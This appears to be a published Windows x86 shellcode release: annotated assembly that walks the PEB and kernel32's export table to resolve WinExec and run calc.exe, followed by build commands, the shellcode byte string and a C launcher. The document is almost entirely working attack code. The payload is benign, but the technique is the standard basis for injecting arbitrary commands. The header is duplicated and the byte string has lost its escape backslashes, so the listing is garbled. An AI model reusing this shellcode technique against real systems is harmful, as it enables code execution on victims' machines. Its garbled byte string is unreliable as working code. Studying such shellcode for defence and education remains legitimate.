# Title: Windowsx86 - Null-Free WinExec Calc.exe Shellcode (195 bytes)
# Shellcode Author: Bobby Cooke
# Date: 2020-02-21
# Technique: PEB & Export Directory Table
# Tested O # Title: Windowsx86 - Null-Free WinExec Calc.exe Shellcode (195 bytes)
# Shellcode Author: Bobby Cooke
# Date: 2020-02-21
# Technique: PEB & Export Directory Table
# Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363

_start:
; Create a new stack frame
mov ebp, esp ; Set base stack pointer for new stack-frame
sub esp, 0x20 ; Decrement the stack by 32 bytes

; Find kernel32.dll base address
xor ebx, ebx ; EBX = 0x00000000
mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB
mov ebx, [ebx+0xC] ; EBX = Address_of_LDR
mov ebx, [ebx+0x1C] ; EBX = 1st entry in InitOrderModuleList / ntdll.dll
mov ebx, [ebx] ; EBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov ebx, [ebx] ; EBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov eax, [ebx+0x8] ; EAX = &kernel32.dll / Address of kernel32.dll
mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll

; Find the address of the WinExec Symbol within kernel32.dll
; + The hex values will change with different versions of Windows

; Find the address of the Export Table within kernel32.dll
mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader = 0xF8
add ebx, eax ; EBX = &NewEXEHeader = 0xF8 + &kernel32.dll
mov ebx, [ebx+0x78] ; EBX = RVA ExportTable = 0x777B0 = [&NewExeHeader + 0x78]
add ebx, eax ; EBX = &ExportTable = RVA ExportTable + &kernel32.dll

; Find the address of the Name Pointer Table within kernel32.dll
; + Contains pointers to strings of function names - 4-byte/dword entries
mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable = 0x790E0
add edi, eax ; EDI = &NamePointerTable = 0x790E0 + &kernel32.dll
mov [ebp-0x8], edi ; save &NamePointerTable to stack frame

; Find the address of the Ordinal Table
; - 2-byte/word entries
mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable = 0x7A9E8
add ecx, eax ; ECX = &OrdinalTable = 0x7A9E8 + &kernel32.dll
mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame

; Find the address of the Address Table
mov edx, [ebx+0x1C] ; EDX = RVA AddressTable = 0x777CC
add edx, eax ; EDX = &AddressTable = 0x777CC + &kernel32.dll
mov [ebp-0x10], edx ; save &AddressTable to stack-frame

; Find Number of Functions within the Export Table of kernel32.dll
mov edx, [ebx+0x14] ; EDX = Number of Functions = 0x642
mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame

jmp short functions

findFunctionAddr:
; Initialize the Counter to prevent infinite loop
xor eax, eax ; EAX = Counter = 0
mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
mov edi, [ebp-0x8] ; EDI = &NamePointerTable
mov esi, [ebp+0x18] ; ESI = Address of String for the Symbol we are searching for
xor ecx, ecx ; ECX = 0x00000000
cld ; clear direction flag - Process strings from left to right
mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll
add cx, 0x8 ; ECX = len("WinExec,0x00") = 8 = 7 char + 1 Null
repe cmpsb ; compare first 8 bytes of [&NameString] to "WinExec,0x00"
jz found ; If string at [&NameString] == "WinExec,0x00", then end loop
inc eax ; else Counter ++
cmp eax, edx ; Does EAX == Number of Functions?
jb searchLoop ; If EAX != Number of Functions, then restart the loop

found:
; Find the address of WinExec by using the last value of the Counter
mov ecx, [ebp-0xC] ; ECX = &OrdinalTable
mov edx, [ebp-0x10] ; EDX = &AddressTable
mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)]
mov eax, [edx + eax*4] ; EAX = RVA WinExec = [&AddressTable + ordinalNumber]
add eax, [ebp-0x4] ; EAX = &WinExec = RVA WinExec + &kernel32.dll
ret

functions:
; Create string 'WinExecx00' on the stack and save its address to the stack-frame
mov edx, 0x63657878 ; "cexx"
shr edx, 8 ; Shifts edx register to the right 8 bits
push edx ; "x00,cex"
push 0x456E6957 ; EniW : 456E6957
mov [ebp+0x18], esp ; save address of string 'WinExecx00' to the stack-frame
call findFunctionAddr ; After Return EAX will = &WinExec

; Call WinExec( CmdLine, ShowState );
; CmdLine = "calc.exe"
; ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
mov ebx, esp ; save pointer to "calc.exe" string in eax
inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
push ebx ; lpcmdLine - push string address stack # 1st argument
call eax ; Call the WinExec Function

; Create string 'ExitProcessx00' on the stack and save its address to the stack-frame
xor ecx, ecx ; clear eax register
mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits
push ecx ; sse : 00737365
push 0x636F7250 ; corP : 636F7250
push 0x74697845 ; tixE : 74697845
mov [ebp+0x18], esp ; save address of string 'ExitProcessx00' to stack-frame
call findFunctionAddr ; After Return EAX will = &ExitProcess

; Call ExitProcess(ExitCode)
xor edx, edx
push edx ; ExitCode = 0
call eax ; ExitProcess(ExitCode)

; nasm -f win32 win32-WinExec_Calc-Exit.asm -o win32-WinExec_Calc-Exit.o
; for i in $(objdump -D win32-WinExec_Calc-Exit.o | grep "^ " | cut -f2); do echo -n 'x'$i; done; echo

#####################################################################################

#include <windows.h>
#include <stdio.h>

char code[] =
"x89xe5x83xecx20x31xdbx64x8bx5bx30x8bx5bx0cx8bx5b"
"x1cx8bx1bx8bx1bx8bx43x08x89x45xfcx8bx58x3cx01xc3"
"x8bx5bx78x01xc3x8bx7bx20x01xc7x89x7dxf8x8bx4bx24"
"x01xc1x89x4dxf4x8bx53x1cx01xc2x89x55xf0x8bx53x14"
"x89x55xecxebx32x31xc0x8bx55xecx8bx7dxf8x8bx75x18"
"x31xc9xfcx8bx3cx87x03x7dxfcx66x83xc1x08xf3xa6x74"
"x05x40x39xd0x72xe4x8bx4dxf4x8bx55xf0x66x8bx04x41"
"x8bx04x82x03x45xfcxc3xbax78x78x65x63xc1xeax08x52"
"x68x57x69x6ex45x89x65x18xe8xb8xffxffxffx31xc9x51"
"x68x2ex65x78x65x68x63x61x6cx63x89xe3x41x51x53xff"
"xd0x31xc9xb9x01x65x73x73xc1xe9x08x51x68x50x72x6f"
"x63x68x45x78x69x74x89x65x18xe8x87xffxffxffx31xd2"
"x52xffxd0";

int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}